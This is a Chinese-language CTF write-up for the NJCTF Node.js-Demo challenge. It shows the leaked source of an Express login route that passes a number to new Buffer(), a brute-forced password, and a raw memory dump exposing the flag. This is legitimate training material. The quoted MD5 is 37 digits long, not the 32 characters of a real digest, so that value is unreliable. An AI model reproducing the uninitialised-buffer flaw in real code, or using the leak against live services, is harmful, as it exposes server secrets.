Node.js-Demo!

结题过程

  • 查看网页源码提示admin,找到admin页面
  • 提示信息:请登录,bibibibibibibibibibibibibibi~,github上找到源码
  • Node.js漏洞文章 https://zhuanlan.zhihu.com/p/25894270

源码

index.js


var express = require('express');
var config = require('../config');
var escape = require('escape-html');  
var crypto = require('crypto');
var reg = /^[0-9]*$/;
var router = express.Router();

router.get('/', function(req, res, next) {
    res.render('index', { title: 'index', admin: req.session.admin });
});

router.get('/admin', function(req, res, next) {
    res.render('admin', { title: 'admin', admin: req.session.admin, flag: config.secret_password });
});

router.get('/logout', function(req, res, next) {
    req.session = null;
    res.json({'status': 'ok'});
});

router.post('/login', function(req, res, next) {
    if(req.body.password !== undefined) {
        var endata = crypto.createHash('md5').update(req.body.password).digest("hex");
        if (reg.test(endata)) {
            var pwd = parseInt(endata.slice(0,3),10);
            password = new Buffer(pwd);
            if(password.toString('base64') == config.secret_password) {
                req.session.admin = 'yes';
                res.json({'status': 'ok' });
            }else{
                res.json({'status': 'error', 'error': 'password wrong: '+password.toString()});
            }
        }else{
            res.json({'status': 'error', 'error': 'password wrong: '+endata.toString()});
        }
    } else {
        res.json({'status': 'error', 'error': 'password missing' });
    }
});

module.exports = router;

  • 分析当密码的MD5匹配正则表达式/^ [0-9]*$/时,即均为数字时,可以把一个整型传递给new Buffer()堆栈中,导致数据泄露
  • 爆破可用的password为1518375,MD5:9324012154032747431955026181842346793

泄露数据


{"status":"error","error":"password wrong: \\u0000\\u0000�C�8�\\u0006\\u0000\\u0000�C�8�\\u0006\\u0000\\u0000\\u0000D�8�\\u0006\\u0000\\u0000 D�8�\\u0006\\u0000\\u0000(D�8�\\u0006\\u0000\\u0000���8�\\u0006\\u0000\\u0000{\\\"status\\\":\\\"error\\\",\\\"error\\\":\\\"password wrong: 0000��\\\\\\\
\u000fʦ\\\\\\\\u000f\\\\\\\\u0000\\\\\\\
\u0000��\\\\\\\\u000fʦ\\\\\\\\u000f\\\\\\\\u0000\\\\\\\\u0000���\"}�\u0006\u0000\u0000{\"admin\":\"no\"}\u0000\u0000h��8�\u0006\u0000\u00
00NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}\u0000{\"admin\":\"no\"}\u0000\u0000���8�
\u0006\u0000\u0000���8�\u0006\u0000\u0000���8�\u0006\u0000\u0000@��8�\u0006\u0000\u0000���8�\u0006\u0000\u0000з�8�\u0006\
u0000\u0000ط�8�\u0006\u0000\u0000���8�\u0006\u0000\u0000\u0018��8�\u0006\u0000\u0000`��8�\u0006\u0000\u0000h��8�\u0006\u0000\u0
000p��8�\u0006\u0000\u0000���8�\u0006\u0000\u0000���8�\u0006\u0000\u0000���8�\u0006\u0000\u0000\u0000��8�\u0006\u0000\u00008��8�
\u0006\u0000\u0000P�8�\u0006\u0000\u0000��8�\u0006\u0000\u0000\u0018��8�\u0006\u0000\u0000�O�8�\u0006\u0000\u0000�O�8�\u0006\u0000\u0000�O�8�\u0006\u0000\
u0000\u0000P�8�\u0006\u0000\u0000�L�8�\u0006\u0000\u0000(M�8�\u0006\u0000\u0000`M�8�\u0006\u0000\u0000�M�8�\u0006\u0000\u0000HI�8�\u0006\u0000\u0000�I�8�\u0006\u0000\u0000�3�8�\u0006\u0000\u0000�1�8�\u0006\u00
00\u0000�,�8�\u0006\u0000\u0000�-�8�\u0006\u0000\u0000@\u0000�8�\u0006\u0000\u0000\b\u0001�8�\u0006\u0000\u0000
\u0010\u0001�8�\u0006\u0000\u0000\u0018\u0001�8�\u0006\u0000\u0000P\u0001�8�\u0006\u0000\u0000@��8�\u000
6\u0000\u0000H��8�\u0006\u0000\u0000P��8�\u0006\u0000\u0000���8�\u0006\u0000\u0000���8�\u0006\u0000\u0000���8�\u0006\u0000\u0000���8�\u0006\u
0000\u0000\u0018��8�\u0006\u0000\u0000���8�\u0006\u0000\u0000\u0000��8�\u0006\u0000\u0000\b��8�\u0006\u0000\u0000@��8�\u0006\u0000\u0000���8�\u0006\u0000\u0000���8�\u0006\u0000\u0000���8�\u0006\u0000\
u0000��
�8�\u0006\u0000\u0000\u0018��8�\u0006\u0000\u0000 ��8�\u0006\u0000\u0000(��8�\u0006\u0000\u0000`��8�\u0006\u0000\u0000���8�\u0006\u0000\u0000���8�\u0006\u0000\u0000���8�\u0006\u0000\u0000 ��8"}

知识小结

  • github源码泄露
  • MD5碰撞
  • Node.js中的Buffer泄露